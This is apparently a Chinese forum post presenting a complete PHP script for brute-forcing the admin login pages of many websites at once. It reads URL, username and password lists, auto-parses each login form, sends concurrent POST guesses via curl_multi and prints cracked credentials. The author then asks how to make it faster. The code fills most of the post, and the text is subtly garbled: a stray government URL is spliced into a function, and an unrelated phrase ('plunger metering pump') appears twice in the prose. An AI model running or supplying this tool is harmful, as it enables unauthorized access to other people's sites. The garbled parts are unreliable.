自己用的批量网站后台密码爆破脚本

<?php
/*
**第一次写爆破，代码不够好
**Author 音符
*/
ini_set("max_execution_time", 0);           //不限制执行时间
header("Content-Type:text/html;charset=utf-8");
define("Wrong_usr","asdpa129~!@DF");       //定义一个错误的用户名
define("Wrong_psw","adiJO9121#%");         //定义一个错误的密码
require_once('function.php');              
require_once('simple_html_dom.php');       //用来解析html
$urls=file('./urls.txt');
$usernames = file('./usernames.txt');
$passwords = file('./passwords.txt');
$i=1;
$handle2pass = array();  //用来储存句柄与密码的对应关系
foreach ($urls as $url) {
        $flag = 0;
        $url = trim($url);
        $code = getcode($url);
        if($code!='404'&&$code!='403'&&$code!='401'){
                struct_html($url);       //构建html_dom
                //获取错误密码返回的content size
                $pre_content_size = getcontentsize($post_page,$post_usr."=".Wrong_usr."&".$post_pwd."=".Wrong_psw.$post_other);
                $pre_header_size = getheadersize($post_page,$post_usr."=".Wrong_usr."&".$post_pwd."=".Wrong_psw.$post_other);
                $mh = curl_multi_init();   //创建多线程句柄
                foreach ($usernames as $username) {
                if($flag==1){
                        break;
                }
                $username = trim($username);
                //每个密码创建一个线程句柄
                foreach ($passwords as $i => $password) {
                        $post_str = $post_usr."=".$username."&".$post_pwd."=".urlencode(trim($password)).$post_other;
                        $conn[$i] = gethandle($post_page,$post_str);
                        //将句柄放入并发线程中
                        $is = curl_multi_add_handle ($mh,$conn[$i]);
                        //存储句柄与账号密码的对应关系
                        $handle2pass[$i]["handle"] = $conn[$i];
                        $handle2pass[$i]["username"] = $username;
                        $handle2pass[$i]["password"] = $password;
 
                }
                //执行并发线程前的预备
                do{
                        $mrc = curl_multi_exec($mh, $active);
                }while($mrc == CURLM_CALL_MULTI_PERFORM and $flag==0);
                //开始执行并发线程，直到全部线程结束
                while ($active and $mrc == CURLM_OK and $flag==0) {
                                if(curl_multi_select($mh)!=-1){
        do{    
                $mrc = curl_multi_exec($mh, $active);
                $info = curl_multi_info_read($mh);             //返回放在$info数组中
                if($info){
                        foreach ($info as $info_array=>$value) {
                                if($info_array == "handle"){               //取出返回的资源句柄
                                $http_code = curl_getinfo($info[$info_array],CURLINFO_HTTP_CODE);
                                //确定不是错误的http返回值
                                if($http_code != '500'){
                                $content_size = curl_getinfo($info[$info_array],CURLINFO_CONTENT_LENGTH_DOWNLOAD);        //取每一个句柄返回的大小
                                if($content_size != $pre_content_size&&!empty($content_size)){                   //返回值不等于原size且不为空
                                        //通过句柄找回账号跟密码
                                        $header_size = curl_getinfo($info[$info_array],CURLINFO_HEADER_SIZE);  //取header的大小
                                        if($header_size != $pre_header_size){
                                        foreach ($handle2pass as $i) {
                                                if ($i["handle"]==$info[$info_array]) {
                                                        $password = $i["password"];
                                                        $username = $i["username"];
                                                        //输出
                                                        echo $url."|".$username."|".$password."\r\n";
                                                        $flag = 1;
                                                        break;
                                                }
                                        }
                                }
                                }
                        }
                }
                        }
 
                }
                unset($info);
 
        }while($mrc == CURLM_CALL_MULTI_PERFORM);
 
                        }
                }
        //关闭全部句柄
                foreach ($passwords as $i => $password) {
                        curl_multi_remove_handle($mh, $conn[$i]);
                }
                //清空句柄与账号密码的对应数组
                unset($handle2pass);
        }
        }
}
?><br><br>

//function.php
    
<br><?php
header("Content-Type:text/html;charset=utf-8");
function getcode($remote_server)
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $remote_server);
        curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch,CURLOPT_NOBODY,1);//不返回html的body信息
        curl_setopt($ch,CURLOPT_TIMEOUT,3); //超时时长，单位秒
        curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1');
        curl_exec($ch);
        $code= curl_getinfo($ch,CURLINFO_HTTP_CODE);
        curl_close($ch);
        return $code;
}
function gethandle($remote_server,$post_string)
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $remote_server);
        curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息
        //curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   //不输出返回的数据流
        curl_setopt($ch,CURLOPT_NOBODY,1);//不返回html的body信息
        curl_setopt($ch,CURLOPT_TIMEOUT,2); //超时时长，单位秒
        curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
        return $ch;
}
function getcontentsize($remote_server,$post_string)
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $remote_server);
        curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息
        //curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   //不输出返回的数据流
        curl_setopt($ch,CURLOPT_NOBODY,0);//不返回html的body信息
        //curl_setopt($ch,CURLOPT_TIMEOUT,3); //超时时长，单位秒
        curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
        curl_exec($ch);http://www.qhmz.gov.cn/
        $size = curl_getinfo($ch,CURLINFO_CONTENT_LENGTH_DOWNLOAD);
        curl_close($ch);
        return $size;
}
function getheadersize($remote_server,$post_string)
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $remote_server);
        curl_setopt($ch,CURLOPT_HEADER,1);//获取http头信息
        //curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   //不输出返回的数据流
        curl_setopt($ch,CURLOPT_NOBODY,0);//不返回html的body信息
        //curl_setopt($ch,CURLOPT_TIMEOUT,3); //超时时长，单位秒
        curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
        curl_exec($ch);
        $size = curl_getinfo($ch,CURLINFO_HEADER_SIZE);
        curl_close($ch);
        return $size;
}
function struct_html($url){
        global $post_page,$post_other,$post_pwd,$post_usr;
                        $html = file_get_html($url);          //html_dom的函数，获取并解析html页面
                $post_page = $html->find('form',0)->action;      //取出login的action提交地址
                //整理提交的地址
                if(!stristr($post_page,"http")){
                        preg_match("/^http:\/\/.*\//", $url,$match);   //将$url整理为[url]http://www.xxx.xxx/[/url]
                        $url = $match[0];
                        $post_page = $url.$post_page;
                }
                //取出action的密码name
                $post_pwd = $html->find('input[type=password]',0)->name;
                //取出action的账号name
                $post_usr = $html->find('input[type=text]',0)->name;
                //整理除了账号密码的其他表单数据
                $post_other = '';
                foreach($html->find('input[!size]') as $element){
                        $post_other .= "&".$element->name."=".$element->value;  //拼接
                }
                //清理html解析
                $html->clear();
}
?>

urls.txt里面放要破解的网站后台列表
调用了simple_html_dom库解析html，获取要提交的表单。
然后用curl_multi 族的函数来执行柱塞计量泵多线程爆破，感觉速度还可以。
代码简单，注释也写的比较详细。
几个我认为还可以改进的地方：
1.利用apache来改进多进程
2.调用Rolling cURL来加快请求的速度 案例：https://www.t00ls.net/viewthread.php?tid=23935&highlight=yunwww.t00ls.ne
3.利用更好的html解析库HtmlParserModel来加快解析速度 详情：http://www.oschina.net/p/htmlparsermodel/
=============================================================
写代码的时候遇到几个问题，希望各位大牛帮忙解答下。
1.如何在浏览器中实现异步输出，我用php.exe burp.php可以异步输出，但是如果访问http://localhost/burp.php 就必须等到柱塞计量泵所有的密码爆破完后才能全部输出，如何爆破出一个密码就输出一个？
2.请教各位大牛书写代码的好习惯，我写的代码嵌套太多了，可读性太差，有时候自己都分不清哪个是嵌套在哪个之下。
3.爆破时应该获取什么值来比较是否为正确密码才是最好的，我用了取http_code，header size，content_size都用上了，怎么样才能又加快扫描速度，又能得到正确的代码。
望不吝赐教，谢谢各位大牛。

老何 2014-05-05 11:18 发表评论